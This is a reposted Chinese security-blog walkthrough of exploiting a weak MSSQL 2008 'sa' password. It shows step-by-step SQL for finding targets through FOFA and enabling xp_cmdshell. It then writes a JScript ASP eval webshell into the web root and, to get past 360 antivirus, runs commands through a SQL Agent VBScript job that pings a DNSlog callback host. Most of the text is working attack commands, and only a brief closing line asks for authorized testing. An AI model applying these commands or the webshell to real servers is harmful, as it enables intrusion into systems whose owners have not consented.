-MSSQL 2008弱口令利用

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-MSSQL 2008弱口令利用

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。当MSSQL数据库管理员账号对应密码的长度太短或者复杂度不够,仅包含数字,或仅包含字母等,攻击者可以利用弱口令直接登录系统,获取系统权限。

图片[1]--MSSQL 2008弱口令利用-安全小天地

0x03 漏洞复现

漏洞环境:Microsoft SQL Server 2008 (RTM) – 10.0.1600.22 (X64) 

FOFA: “sqlserver”

1.通过弱口令sa:123456进入数据库,查看数据库版本

select @@version
图片[2]--MSSQL 2008弱口令利用-安全小天地

2.查看路径,可以看到inetpub路径,那么就可以遍历目录推断出web路径C:\\inetpub\\wwwroot

execute master..xp_dirtree \'c:\\\',1,1 --
图片[3]--MSSQL 2008弱口令利用-安全小天地

3.通过xp_cmdshell,写入webshell成功,如下(xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出,但是如果有360一般不能执行


-- 查询是否存在xp_cmdshell
     select count(*) from master.dbo.sysobjects where xtype = \'x\' AND name=\'xp_cmdshell\'        
     -- 启用xp_cmdshell
     EXEC sp_configure \'show advanced options\', 1;
     RECONFIGURE;
     EXEC sp_configure \'xp_cmdshell\', 1;
     RECONFIGURE;        
     -- 执行命令
     EXEC master.dbo.xp_cmdshell \'echo ^<^%^@Page Language=^\"^Jscript^\"^%^>^<^%^eval(Request.Item^[^\"cc^\"^]^,^\"unsafe^\")^;^%^>>C:\\inetpub\\wwwroot\\1.asp\'--
     # 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
图片[4]--MSSQL 2008弱口令利用-安全小天地

4.由于会被360拦截,我们换一种方式

图片[5]--MSSQL 2008弱口令利用-安全小天地

5.使用AgentJob 360不会拦截,但是没有回显,我们使用vbscript方式执行ping命令pingDNSlog服务,DNSlog服务收到ping,如图:

(注:Express版本的SQL Server不支持Agent服务,开发版或者企业版才支持,而且利用AgentJob需要开启SQL Agent服务)


#注:vb_job16会有缓存,需批量替换修改成任意名字
USE msdb; 
        EXEC dbo.sp_add_job @job_name = N\'vb_job16\' ; 
        EXEC sp_add_jobstep 
            @job_name = N\'vb_job16\', 
            @step_name = N\'vb_step\', 
        @subsystem = N\'ACTIVESCRIPTING\',
        @command=N\'FUNCTION Main()
            dim shell
            set shell= CreateObject (\"WScript.Shell\")
            shell.run(\"c:\\windows\\system32\\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org\")
            set shell = nothing
            END FUNCTION\', 
        @database_name = \"VBScript\",
            @retry_attempts = 1, 
            @retry_interval = 5;
        EXEC dbo.sp_add_jobserver @job_name = N\'vb_job16\'; 
        EXEC dbo.sp_start_job N\'vb_job16\';
图片[6]--MSSQL 2008弱口令利用-安全小天地
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞6 分享
Everyone has its disadvantage just like the god bites the apple. the bigger disadvantage you have, the more the god appreciate it.
每个人都会有缺陷,就像被上帝咬过的苹果,有的人缺陷比较大,正是因为上帝特别喜欢他的芬芳
评论 抢沙发

请登录后发表评论

    暂无评论内容